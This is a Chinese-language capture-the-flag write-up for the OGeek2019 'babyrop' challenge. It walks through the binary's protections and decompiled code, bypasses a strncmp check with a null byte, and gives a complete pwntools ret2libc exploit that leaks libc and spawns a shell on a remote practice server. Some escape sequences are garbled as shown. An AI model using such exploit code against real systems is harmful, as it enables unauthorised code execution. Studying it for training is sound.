[OGeek2019]babyrop
检查文件保护
Arch: i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序 ,RELRO全开满,nx开启,ida分析
int __cdecl sub_804871F(int a1)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[7]; // [esp+2Ch] [ebp-2Ch]
unsigned __int8 v5; // [esp+33h] [ebp-25h]
ssize_t v6; // [esp+4Ch] [ebp-Ch]
memset(&s, 0, 0x20u); // s中存放随机数
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", a1);
v6 = read(0, buf, 0x20u); // 输入
buf[v6 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) ) // 绕过这个判断
exit(0);
write(1, "Correct
", 8u); // 输出
return v5;
}
程序首先产生随机数,然后和用户输入进行比较,并且需要桡过strncmp函数的判断,否则程序会退出,最后上面的函数返回值作为参数传进
ssize_t __cdecl sub_80487D0(char a1)
{
ssize_t result; // eax
char buf; // [esp+11h] [ebp-E7h]
if ( a1 == 127 )
result = read(0, &buf, 0xC8u);
else
result = read(0, &buf, a1);
return result;
}
那个我们可以控制a1的值完成溢出,泄露libc版本,exp如下
from pwn import *
from LibcSearcher import *
r = remote('node3.buuoj.cn',29206)
elf = ELF("./babyrop")
start_addr = 0x80485a0
puts_got = elf.got['puts']
write_plt = elf.plt['write']
main_addr = 0x8048825
payload = 'x00'+'xff'*(0x2c-0x25)
r.sendline(payload)
r.recvuntil('Correct
')
payload = 'a'*(0xE7+4)+p32(write_plt)+p32(start_addr)+p32(1)+p32(puts_got)+p32(4)
r.send(payload)
puts_addr = u32(r.recv(4))
#puts_addr = u64(r.recvuntil('
', drop=True).ljust(8,'x00'))
#puts_addr = u64(r.recvuntil(b'x7f')[-6:].ljust(0x8,b'x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts',puts_addr)
libcbase = puts_addr - libc.dump('puts')
system_addr = libcbase + libc.dump('system')
bin_sh = libcbase + libc.dump('str_bin_sh')
payload = 'x00'+'xff'*(0x2c-0x25)
r.sendline(payload)
r.recvuntil('Correct
')
payload = 'a'*(0xE7+4)+p32(system_addr)+p32(0)+p32(bin_sh)
r.send(payload)
r.interactive()